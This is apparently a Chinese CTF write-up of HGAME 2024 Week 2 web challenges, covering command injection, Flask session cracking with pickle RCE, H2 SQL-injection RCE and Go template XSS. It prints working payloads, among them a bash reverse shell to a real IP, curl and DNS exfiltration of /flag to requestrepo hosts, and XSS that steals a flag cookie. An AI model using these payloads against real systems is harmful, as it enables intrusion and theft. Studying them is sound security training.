HGAME 2024 WEEK2 Web方向题解 全

---------【WEEK-2】---------

What the cow say?

题目描述:the cow want to tell you something

注意title,Python的flask漏洞可多呢

image-20240206231956457

版本310

image-20240206232029676

先测一下SSTI

正常情况下

image-20240206232103511

SSTI测试

image-20240206232137757

变量渲染测试,被waf了,说明方向对了

image-20240206232356308

单单过滤flag

image-20240206232441879

fuzz了一下,也不像是SSTI

image-20240207002310226

乱试下,出现了个离谱的。啊喂,这这这,乐,一猜一个不吱声。

image-20240207002437092

弄个源码看看(帮各位处理过了):

`string app.py`
from flask import Flask, render_template, request, redirect, url_for
import subprocess

app = Flask(__name__)  

@app.route('/', methods=['GET', 'POST'])
def index():
    result = None 
    if request.method =='POST':
        user_input =request.form['user_input']
        
    result =run_cowsay(user_input)
    return
    
    render_template('index.html',result=result) @ app.route('/post',methods=['POST'])

def post():
    if request.method == 'POST': 
        user_input =request.form['user_input']
        result =run_cowsay(user_input)
    return

render_template('index.html',result=result)

def run_cowsay(text):
    try: 
        if(waf(text)): 
            cmd_output =subprocess.check_output('cowsay ' +text, text=True,stderr=subprocess.STDOUT, shell=True)
            return cmd_output.strip() 
        else:
            cmd_output =subprocess.check_output('cowsay Waf!',
                            text=True, stderr=subprocess.STDOUT,
                            shell=True)
            return cmd_output.strip()

    except subprocess.CalledProcessError as e:
        return run_cowsay("ERROR!")

def waf(string): 
    blacklist = ['echo','cat', 'tee', ';', '|', '&', '<','>', '\\', 'flag']
    for black in blacklist:
        if (black in string): 
            return False
    return True 
    
if __name__ == '__main__': app.run("0.0.0.0", port=80)

flag位置:/flag_is_here/flag_c0w54y

image-20240207002254334

hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n} 

myflask

题目描述:善用搜索引擎,容器中的 Python 版本为 3.11

image-20240206233929260

直接给了源码:

import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
    session['username'] = 'guest'
    return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if not session:
        return 'There is no session available in your client :('
    if request.method == 'GET':
        return 'You are {} now'.format(session['username'])
    
    # For POST requests from admin
    if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))
        # Tips: Here try to trigger RCE
        userdata=pickle.loads(pickle_data)
        return userdata
    else:
        return 'Access Denied'
 
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0")

两个步骤。1、破解session;2、pickle实现RCE

session密钥是当前时间,在根路由刷新,/flag路由刷新网页不改变session。

image-20240206234444244

我当前时间戳(密钥)是234221。

image-20240206234455231

我们小范围爆破即可。230000->234221

当前session:

eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4

脚本解密看看结构

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
    print(decryption("eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4".encode()))  #输入session

非常的朴实无华

image-20240206234832747

爆破密钥脚本:

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys

path = "wordlist.txt"

print("Generating wordlist... ")

with open(path,"w") as f:
    #permutations with repetition
    [f.write('23'+"".join(x)+''+"\n") for x in itertools.product('0123456789', repeat=4)]   #加上前缀

#url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4'
print("Got cookie: " + cookie_tamper)

print("Cracker Started...")

obj = flask_unsign.Cracker(value=cookie_tamper)

before = time.time()

with wordlist(path, parse_lines=False) as iterator:
            obj.crack(iterator)

secret = ""
if obj.secret:
    secret =obj.secret.decode()
    print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")

signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)

密钥233629

image-20240206235214865

之后flask_unsign工具伪造session即可。

flask-unsign --sign --cookie "{'username': 'admin'}" --secret '233629'

image-20240207000052384

伪造成功,开始第二步。

image-20240207000125898

注意,pickle,版本要一致,版本是311。

脚本:

import pickle
import os
import base64

class aaa():
    def __reduce__(self):
        return(os.system,('bash -c "bash -i >& /dev/tcp/120.46.41.173/9023 0>&1"',))

a= aaa()

payload=pickle.dumps(a)

payload=base64.b64encode(payload)
print(payload)

寄了,我就知道没这么简单。

image-20240207001514534

报错看不太出来什么。我之前生成pickle那个引用了os包,可能环境没有,换个脚本。

import pickle
import base64
 
class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('tac /flag').read()",))
    
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

image-20240207001941213

果然如此。payload:

POST:
pickle_data=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu

image-20240207001842683

Select More Courses

题目描述:ma5hr00m wants to take more courses, but he may be racing against time. Can you help him?

hint:

可参考的弱密码字典:https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt

开题,首先要登录,注意系统提示。

image-20240211235128609

密码直接拿hint给的密码本爆破。密码是qwert123

image-20240211235338463

点击扩容:

image-20240211235445477

提示和时间赛跑

image-20240211235511887

image-20240212000035059

还有一个是选课界面,只需要选一个。

image-20240211235958169

猜测这里要同时选课+申请。预期应该是双线程脚本,我直接双开爆破了。

image-20240212000128964

选上了。

image-20240211235926902

search4member

考点总结:SQL注入(堆叠)+h2database RCE漏洞

题目描述:Vidar-Team have so much members,so 1ue write an api to search…

hint:

出题人失误;忘写connection.close();导致多次payload可使服务dos;请本地打通再尝试远程环境;带来不便请见谅

有附件给了源码。是java的SQL。导入IDEA看看。

package org.vidar.controller;


import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Inject;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Param;
import org.noear.solon.core.handle.ModelAndView;
import org.vidar.config.DbManager;

import javax.sql.DataSource;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

@Controller
public class SearchController {

    @Inject
    private DbManager dbManager;

    @Mapping("/")
    public ModelAndView search(@Param(defaultValue = "web") String keyword) throws SQLException {
        List<String> results = new ArrayList<>();
        if (keyword != null & !keyword.equals("")) {
            String sql = "SELECT * FROM member WHERE intro LIKE '%" + keyword + "%';";
            DataSource dataSource = dbManager.getDataSource();
            Statement statement = dataSource.getConnection().createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            while (resultSet.next()) {
                results.add(resultSet.getString("id") + " : "
                        + resultSet.getString("intro") + " : "
                        + resultSet.getString("blog"));
            }
            resultSet.close();
            statement.close();
        }
        ModelAndView model = new ModelAndView("search.ftl");
        model.put("results", results);
        return model;
    }
}

数据库结构如下:

DROP TABLE IF EXISTS member;
CREATE TABLE member
(
    id          VARCHAR(30) NOT NULL UNIQUE COMMENT 'id',
    intro      VARCHAR(255) NOT NULL COMMENT 'intro',
    blog       VARCHAR(255) NOT NULL COMMENT 'blog'
);

INSERT INTO member (id, intro, blog)
VALUES (【xxx】);

测试,可以sql注入。payload:

?keyword=%E4%BC%9A%E9%95%BF%25'%3B--%2B

解码后:会长%';--+

image-20240212181636651

获取数据库:(数据库名字为H2

?keyword=zzz%25' and 1>2 union SELECT 1,2,database();--+

image-20240212182946225

奇怪的数据库名字+数据库中找不到flag,这题可能不是简单的SQL注入。

开始搜索引擎,找到了h2database有一个RCE漏洞!

image-20240212191056918

参考:

H2 database漏洞复现 - Running_J - 博客园 (cnblogs.com)

Spring Boot Actuator hikari配置不当导致的远程命令执行漏洞 - 卖小女孩的小男孩 - 博客园 (cnblogs.com)

这个总的来说就是创建一个数据库函数 SHELLEXEC ,函数可以直接执行命令

测试payload:(SQL注入+H2 RCE)(参照两个参考文章得出)(两个都可以)

?keyword=zzz%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('curl 28zrgzsc.requestrepo.com');--+
?keyword=zzz%25';CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL SHELLEXEC('curl 28zrgzsc.requestrepo.com');--+

测试payload,发现可以被DNS接收。

image-20240212202742839

最终payload:(执行命令)(之前CREATE ALIAS SHELLEXEC已经创建过SHELLEXEC函数,无需重复创建)(反弹shell失败了,尝试DNS带出flag)

?keyword=zzz%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}');--+

最终payload带出flag成功。

image-20240212203405710

梅开二度

考点总结:

题目描述:

image-20240212204141634

开题:

image-20240212204645857

后端代码实现:

image-20240212204704451

看这{{}}感觉好像SSTI,又说flag在bot手上,怀疑是XSS。有意思,没怎么学过go,边做边学吧。

搜索引擎启动,搜索关键字 GO SSTI XSS 安全漏洞。真能搜到,Go的SSTI危害比较小,能用的基本上只有XSS。不像Jinja2那样可以RCE。

查找到有用的参考文章:

浅学Go下的ssti - SecPulse.COM | 安全脉搏

Golang中的SSTI | CoolCat’ Blog (thekingofduck.com)

Go SSTI初探 | tyskillのBlog

https://blog.dexter0us.com/posts/go-blogs-hacktivitycon-2021-writeup/

有附件,看看源码:(注释来自GPT4.0)

// 导入必要的包
import (
	"context"       // 用于创建和传递上下文
	"log"           // 用于记录日志
	"net/url"       // 用于解析URL
	"os"            // 用于读取环境变量和文件系统
	"regexp"        // 用于正则表达式匹配
	"sync"          // 用于同步goroutine
	"text/template" // 用于处理文本模板,存在XSS!
	"time"          // 用于处理时间

	"github.com/chromedp/chromedp" // ChromeDP用于控制Chrome浏览器
	"github.com/gin-gonic/gin"     // Gin是一个HTTP Web框架
	"golang.org/x/net/html"        // 用于操作HTML
)

// 预编译的正则表达式,用于检查模板字符串中是否包含非法词汇
var re = regexp.MustCompile(`script|file|on`)

// 全局锁,用于同步访问
var lock sync.Mutex

func main() {
	// 创建一个ChromeDP执行环境,配置Chrome运行参数
	allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
		chromedp.NoSandbox, chromedp.DisableGPU)...)
	defer cancel() // 确保在main函数结束时取消上下文,释放资源

	// 创建一个Gin路由器
	r := gin.Default()

	// 处理根路径的GET请求,动态生成HTML页面
	r.GET("/", func(c *gin.Context) {
		tmplStr := c.Query("tmpl") // 从查询参数获取模板字符串
		if tmplStr == "" {
			tmplStr = defaultTmpl // 若未提供,则使用默认模板
		} else {
			// 检查模板字符串是否合法
			if re.MatchString(tmplStr) {
				c.String(403, "tmpl contains invalid word")
				return
			}
			if len(tmplStr) > 50 {
				c.String(403, "tmpl is too long")
				return
			}
			tmplStr = html.EscapeString(tmplStr) // 对模板字符串进行HTML转义
		}
		tmpl, err := template.New("resp").Parse(tmplStr) // 解析模板
		if err != nil {
			c.String(500, "parse template error: %v", err)
			return
		}
		if err := tmpl.Execute(c.Writer, c); err != nil { // 执行模板,生成响应
			c.String(500, "execute template error: %v", err)
		}
	})

	// 处理"/bot"路径的GET请求,模拟浏览器访问提供的URL
	r.GET("/bot", func(c *gin.Context) {
		rawURL := c.Query("url")    // 从查询参数获取URL
		u, err := url.Parse(rawURL) // 解析URL
		if err != nil {
			c.String(403, "url is invalid")
			return
		}
		if u.Host != "127.0.0.1:8080" { // 限制URL的主机地址
			c.String(403, "host is invalid")
			return
		}
		go func() { // 在新的goroutine中执行,以非阻塞方式处理请求
			lock.Lock()         // 在访问共享资源前加锁
			defer lock.Unlock() // 确保在函数结束时释放锁

			ctx, cancel := chromedp.NewContext(allocCtx,
				chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)),
			)
			defer cancel()
			ctx, _ = context.WithTimeout(ctx, 20*time.Second) // 设置上下文超时
			if err := chromedp.Run(ctx,
				chromedp.Navigate(u.String()),  // 导航到指定的URL
				chromedp.Sleep(time.Second*10), // 等待页面加载
			); err != nil {
				log.Println(err) // 记录错误
			}
		}()
		c.String(200, "bot will visit it.") // 响应客户端
	})

	// 处理"/flag"路径的GET请求,仅允许来自localhost的请求
	r.GET("/flag", func(c *gin.Context) {
		if c.RemoteIP() != "127.0.0.1" { // 检查请求来源IP地址
			c.String(403, "you are not localhost")
			return
		}
		flag, err := os.ReadFile("/flag") // 读取flag文件
		if err != nil {
			c.String(500, "read flag error")
			return
		}
		c.SetCookie("flag", string(flag), 3600, "/", "", false, true) // 将flag设置为cookie
		c.Status(200)                                                 // 发送200状态码
	})

	// 启动Gin服务器,监听8080端口
	r.Run(":8080")
}

// defaultTmpl是默认的HTML模板,用于生成响应页面
const defaultTmpl = `
<!DOCTYPE html>
<html>
<head>
    <title>YOU ARE</title>
</head>
<body>
    <div>欢迎来自 {{.RemoteIP}} 的朋友</div>
    <div>你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div>
    <div>flag在bot手上,想办法偷过来</div>
</body>
`

分析源码:

1、导包中的text/template(个人认为是Go语言的XSS标志)

Go 提供了两个模板包。一个是 text/template,另一个是html/template。text/template对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而html/template与text/template基本相同,但增加了HTML编码等安全保护,更加适用于构建web应用程序。

template常用基本语法:

在{{}}内的操作称之为pipeline
在template中,点"."代表当前作用域的当前对象

{{.Query "aaa"}} 调用一个名为Query的方法,并传递字符串"aaa"作为参数

{{.}} 表示当前对象,如user对象

{{.FieldName}} 表示对象的某个字段

{{range …}}{{end}} go中for…range语法类似,循环

{{with …}}{{end}} 当前对象的值,上下文

{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择

{{xxx | xxx}} 左边的输出作为右边的输入

{{template "navbar"}} 引入子模版

2、var re = regexp.MustCompile(`script|file|on`)

黑名单过滤scriptfileon

3、if len(tmplStr) > 50

限制长度50以内。(当时想着payload被限制50以内那就麻烦了)(之后想到可以绕过的~)

4、tmplStr = html.EscapeString(tmplStr)

进行转义

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

5、根路由\存在SSTI,注入点是tmpl

image-20240212234516553

到分析的第5点为止。我们已经发现了根路由存在SSTI,防御手段有三,分别是黑名单过滤、长度限制、转义。

转义了单双引号,我们用反引号`代替。此外,我们绕一下,直接调用Query()函数,获取另外一个传参变量Jay17的值。

先测试是否存在SSTI,payload如下,回显的值为95272022,表示存在SSTI

?tmpl={{println 0B101101011011011110001010110}}

image-20240213103009994

我们先XSS弄个弹窗试试:

?tmpl={{.Query `Jay17`}}&Jay17=<script>alert('XSS')</script>

显然成功了,XSS存在且我们可控。接下来我们就是思考如何带出flag了。

image-20240212235716262

继续分析

6、/bot路由主要是获取传参url,访问url参数的值,要满足访问的是本地8080端口。

image-20240213104229569

7、/flag路由将cookie设置为flag,前提是来源是本地(bot可以做到)

image-20240213105206865

8、整体思路就是让bot拿出flag给我。

直接让bot访问/flag路由可以让bot获取flag,但是带不出来。(访问url,可以看作只有一次访问)

结合XSS,我们首先让bot访问根路由,在根路由进行XSS,XSS执行js代码,使得bot访问/flag获取cookie,再带出cookie给我,bot的cookie此时就是flag。

payload模板:

/bot?url=http://127.0.0.1:8080?tmpl={{.Query `Jay17`}}&Jay17=<script>【JS代码,用来XSS】</script>

现在的问题就是怎么XSS,在XSS的任务就是,获取cookie flag、带出flag。

JS代码部分:

async function fetchData() {
    // 首先访问网址A
    await fetch('http://127.0.0.1:8080/flag')
        .then(response => response.text()) 
        .then(data => console.log('网址A访问成功'))
        .catch(error => console.error('访问网址A时发生错误:', error));

    // 然后访问网址B,并将响应数据赋值给变量X
    let x; // 定义变量X
    await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}')
        .then(response => response.text()) 
        .then(data => {
            x = data; // 将获取到的数据(网页响应)赋值给变量X
        })
        .catch(error => console.error('访问网址B时发生错误:', error));
    window.open("http://jay17"+x.substring(6,46)+".kgb7xfn7.requestrepo.com/");//DNS带出
}
// 调用函数
fetchData();

==坑点1:==题目出网,但是vps监听不了,DNS可以解析,我们尝试用DNS带出cookie。

image-20240213153639061

image-20240213153649126

==坑点2:==URL编码问题。

因为利用/bot路由去XSS,这个路由首先解码一次,之后XSS时候又会解码一次。

绿色框框编码一次,红色框框编码两次。

image-20240213153845360

==坑点3:==Cookie问题

因为c.SetCookie("flag", string(flag), 3600, "/", "", false, true),一开始用document.cookie带出cookie的时候死活带不出来

c.SetCookie("flag", string(flag), 3600, "/", "", false, true)
  • c: 这通常代表当前的请求上下文(context)。在许多Web框架中,c用于访问和操作请求和响应,如获取请求数据、设置响应头或cookie等。
  • SetCookie: 这是一个方法,用于在用户的浏览器上设置一个cookie。
  • "flag": 这是cookie的名称。这是你在客户端设置和检索cookie时使用的关键字。
  • string(flag): 这是cookie的值。flag变量被转换为字符串类型,这是你想存储在用户浏览器中的实际数据。假设flag变量之前已经被定义并且包含了某些信息。
  • 3600: 这是cookie的过期时间,以秒为单位。3600表示cookie将在3600秒后过期,也就是1小时。过期后,浏览器将自动删除该cookie。
  • "/": 这是cookie的路径。路径限制了cookie可以被哪些页面请求访问。"/"表示这个cookie在域名下的所有页面都是可访问的。
  • "": 这是cookie的域。这里为空字符串,意味着cookie将应用于当前文档的域名。在实际使用中,你可以通过设置具体的域名来限制cookie只能被该域名或其子域名下的页面访问。
  • false: 这个参数指定了cookie是否只能通过HTTPS协议传输。false表示cookie既可以在HTTP也可以在HTTPS协议下传输。如果设置为true,则cookie只能在加密的HTTPS连接中被传输,这增加了安全性。
  • true: 这个参数表示cookie是否应该被标记为HttpOnly。true意味着cookie将被标记为HttpOnly,这意味着它只能通过HTTP(S)请求访问,而不能通过客户端脚本(如JavaScript)访问。这有助于减少跨站脚本攻击(XSS)的风险。
  • 当一个cookie被标记为HttpOnly,它不能通过客户端脚本(如JavaScript)访问。这是一个安全措施,旨在防止跨站脚本攻击(XSS)通过盗取cookie来损害用户的安全。因此,如果一个cookie被设置为HttpOnly,你不能通过在客户端运行的JavaScript代码,如document.cookie,来访问这个cookie。

那我们就是用Go语言的SSTI漏洞来获取cookie

请求如下网址,返回即使flag(之后再带出)

http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}

==坑点4:==花括号问题

因为flag里面有花括号,导致了DNS带不出数据。。。。。

尝试采用base64和url编码,带出也失败了,猜测不仅仅是花括号,其他的等号、百分号也会导致无法带出。。。

那我们就用字符串截取.substring()方法,截取flag中花括号内的纯字符。

payload:(按之前说的编码)

/bot?url=http%3A%2F%2F127.0.0.1%3A8080%3Ftmpl%3D%7B%7B.Query%20%60Jay17%60%7D%7D%26Jay17%3D%253Cscript%253E%250Aasync%2520function%2520fetchData()%2520%257B%250A%2520%2520%2520%2520%252F%252F%2520%25E9%25A6%2596%25E5%2585%2588%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252Fflag')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520console.log('%25E7%25BD%2591%25E5%259D%2580A%25E8%25AE%25BF%25E9%2597%25AE%25E6%2588%2590%25E5%258A%259F'))%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%250A%2520%2520%2520%2520%252F%252F%2520%25E7%2584%25B6%25E5%2590%258E%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25EF%25BC%258C%25E5%25B9%25B6%25E5%25B0%2586%25E5%2593%258D%25E5%25BA%2594%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520let%2520x%253B%2520%252F%252F%2520%25E5%25AE%259A%25E4%25B9%2589%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252F%253Ftmpl%253D%257B%257B.Cookie%2520%2560flag%2560%257D%257D')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520%257B%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520x%2520%253D%2520data%253B%2520%252F%252F%2520%25E5%25B0%2586%25E8%258E%25B7%25E5%258F%2596%25E5%2588%25B0%25E7%259A%2584%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D)%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%2520%2520%2520%2520window.open(%2522http%253A%252F%252Fjay17%2522%252Bx.substring(6%252C46)%252B%2522.kgb7xfn7.requestrepo.com%252F%2522)%253B%252F%252FDNS%25E5%25B8%25A6%25E5%2587%25BA%250A%257D%250A%252F%252F%2520%25E8%25B0%2583%25E7%2594%25A8%25E5%2587%25BD%25E6%2595%25B0%250AfetchData()%253B%250A%253C%252Fscript%253E

image-20240213163312705

image-20240213163251489

image-20240213163610662

flag:

hgame{83762880f8ea0a4db75fb2e9b69efc42526e998b}

以下是萝莉的JS部分:

window.open("http://127.0.0.1:8080/flag");      //获取cookie(flag)
setTimeout(function(){   //延时1s执行
	var xhr = new XMLHttpRequest();
   	xhr.open('GET', 'http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}');
   	xhr.withCredentials = true;         //允许请求携带跨域凭证(如cookies)
    xhr.send();
   	xhr.onreadystatechange=function(){
        //从响应文本中截取前4个字符,并前缀添加y,存储在变量a中。
       	var a="y"+(xhr.responseText).substring(0,4);      
        //var a="y"+(xhr.responseText).length;            //获取flag长度
       	window.open("http://"+a+".kbqsag.ceye.io");       //带出想要的数据(变量a)
   	};
},1000)

防御此漏洞方法

Go模板包text/template提供了内置函数html来转义特殊字符,除此之外还提供了js函数转义js代码。

{{html "<script>alert(/xss/)</script>"}}
{{js "js代码"}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/387120.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

算法学习——LeetCode力扣回溯篇1

算法学习——LeetCode力扣回溯篇1 77. 组合 77. 组合 - 力扣&#xff08;LeetCode&#xff09; 描述 任何顺序 返回答案。 示例 示例 1&#xff1a; 输入&#xff1a;n 4, k 2 输出&#xff1a; [ [2,4], [3,4], [2,3], [1,2], [1,3], [1,4], ] 示例 2&#xff1a; 输…

Leetcode 606.根据二叉树创建字符串

给你二叉树的根节点root&#xff0c;请你采用前序遍历的方式&#xff0c;将二叉树转化为一个由括号和整数组成的字符串&#xff0c;返回构造出的字符串。 空节点使用一对空括号对"root"表示&#xff0c;转化后需要省略所有不影响字符串与原始二叉树之间的一对一映射…

openGauss学习笔记-219 openGauss性能调优-确定性能调优范围-硬件瓶颈点分析-网络

文章目录 openGauss学习笔记-219 openGauss性能调优-确定性能调优范围-硬件瓶颈点分析-网络219.1 查看网络状况 openGauss学习笔记-219 openGauss性能调优-确定性能调优范围-硬件瓶颈点分析-网络 获取openGauss节点的CPU、内存、I/O和网络资源使用情况&#xff0c;确认这些资源…

在Meteor Lake平台上使用NPU进行AI推理加速

在Meteor Lake平台上&#xff0c;英特尔通过神经处理单元 (NPU) 将人工智能直接融入芯片中&#xff0c;实现桌面电脑平台的AI推理功能。神经处理单元 (NPU) 是一种专用人工智能引擎&#xff0c;专为运行持续的人工智能推理工作负载而设计。与即将推出的支持深度人工智能集成的 …

【MySQL】索引事务

MySQL索引事务 1. 索引1.1 概念1.2 作用1.3 使用场景1.4 使用1.5 案例 2. 事务2.2 事物的概念2.3 使用 3. 内容重点总结 1. 索引 1.1 概念 索引是一种特殊的文件&#xff0c;包含着对数据表里所有记录的引用指针。可以对表中的一列或多列创建索引&#xff0c; 并指定索引的类…

ClickHouse--04--数据库引擎、Log 系列表引擎、 Special 系列表引擎

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 1.数据库引擎1.1 Ordinary 默认数据库引擎1.2 MySQL 数据库引擎MySQL 引擎语法字段类型的映射 2.ClickHouse 表引擎3.Log 系列表引擎几种 Log 表引擎的共性是&#…

Golang快速入门到实践学习笔记

Go学习笔记 1.基础 Go程序设计的一些规则 Go之所以会那么简洁&#xff0c;是因为它有一些默认的行为&#xff1a; 大写字母开头的变量是可导出的&#xff0c;也就是其它包可以读取 的&#xff0c;是公用变量&#xff1b;小写字母开头的就是不可导出的&#xff0c;是私有变量…

Python算法题集_二叉树的最大深度

Python算法题集_二叉树的最大深度 题104&#xff1a;二叉树的最大深度1. 示例说明2. 题目解析- 题意分解- 优化思路- 测量工具 3. 代码展开1) 标准求解【DFS自顶向下】2) 改进版一【DFS自底向上】3) 改进版二【BFS】 4. 最优算法 本文为Python算法题集之一的代码示例 题104&am…

现代化端口扫描工具RustScan

今天是大年初五&#xff0c;喜迎财神 &#xff0c;祝大家✔️顺风顺水 ✔️诸事如意 ✔️财源滚滚 ✔️大吉大利 顺便提一下&#xff0c;老苏的博客启用了新域名&#xff1a; https://laosu.tech 什么是 RustScan &#xff1f; RustScan 是一款现代化的端口扫描器。能快速找到端…

数学实验第三版(主编:李继成 赵小艳)课后练习答案(九)(1)(2)

实验九&#xff1a;线性函数极值求解 练习一 1.求解线性规划问题&#xff1a; &#xff08;1&#xff09;max z3,s.t. clc;clear; %采用软件解法 c[-3,-1]; a[-1,1;1,-2;3,2]; b[2;2;14]; [x,min]linprog(c,a,b)找到最优解。 x 4 1 min -13 题上要求的是最大值&#…

【从零到Offer】MySQL最左匹配

前言 ​ 相信大家在日常开发时&#xff0c;也经常能听到“最左匹配”这个词&#xff0c;那么什么是最左匹配呢&#xff1f;本篇文章就带你一起探索“最左匹配”的神奇秘密。 什么是最左匹配 ​ 最左匹配&#xff0c;通常指的是最左前缀匹配原则&#xff0c;即MySQL在检索数据…

c++ Qt 数据库操作

1、准备工作 Qt本身并没有数据库功能&#xff0c;但是Qt支持调用其他主流的数据库产品&#xff0c;并且这些数据库产品统一了Qt的接口&#xff0c;实际上是一种数据库的中间件。 Qt支持以下数据库类型&#xff1a; 嵌入式常用的数据库是sqlite3&#xff0c;本体只有几兆大小。非…

UnityShader玉石效果

效果&#xff1a; 代码&#xff1a; Shader "MyShader/Jade" {Properties{_DiffuseColor("漫反射颜色",color)(1,1,1,1)_ThicknessMap("厚度图",2d)"white"{}_AddColor("叠加颜色",color)(1,1,1,1)_CubeMap("环境贴图…

java实现多级目录树(递归实现)

一.应用场景 有时候需要我们后台给前台传树结构的数据&#xff0c;要怎么查询? 怎么返回数据呢&#xff1f; 二.数据库表设计以及数据内容(以部门举例) id 主键 parent_id 父级部门id depart_name 部门名词 sort 部门排序三.实体类 Data public…

Qt 软件封装与打包

1. Qt 软件封装 1、首先以 release 方式进行编译&#xff0c;将生成的 CloudOne.exe 文件复制到 D:\CloudApp 文件夹&#xff08;自行创建&#xff09; 2、打开 Qt 命令行工具&#xff08;如下图所示&#xff09;&#xff0c;并按顺序输入如下指令 cd D:\CloudApp windeployq…

Spring Boot 笔记 019 创建接口_文件上传

1.1 创建阿里OSS bucket OSS Java SDK 兼容性和示例代码_对象存储(OSS)-阿里云帮助中心 (aliyun.com) 1.2 编写工具类 package com.geji.utils;import com.aliyun.oss.ClientException; import com.aliyun.oss.OSS; import com.aliyun.oss.OSSClientBuilder; import com.aliyun…

每日一题——数字翻转

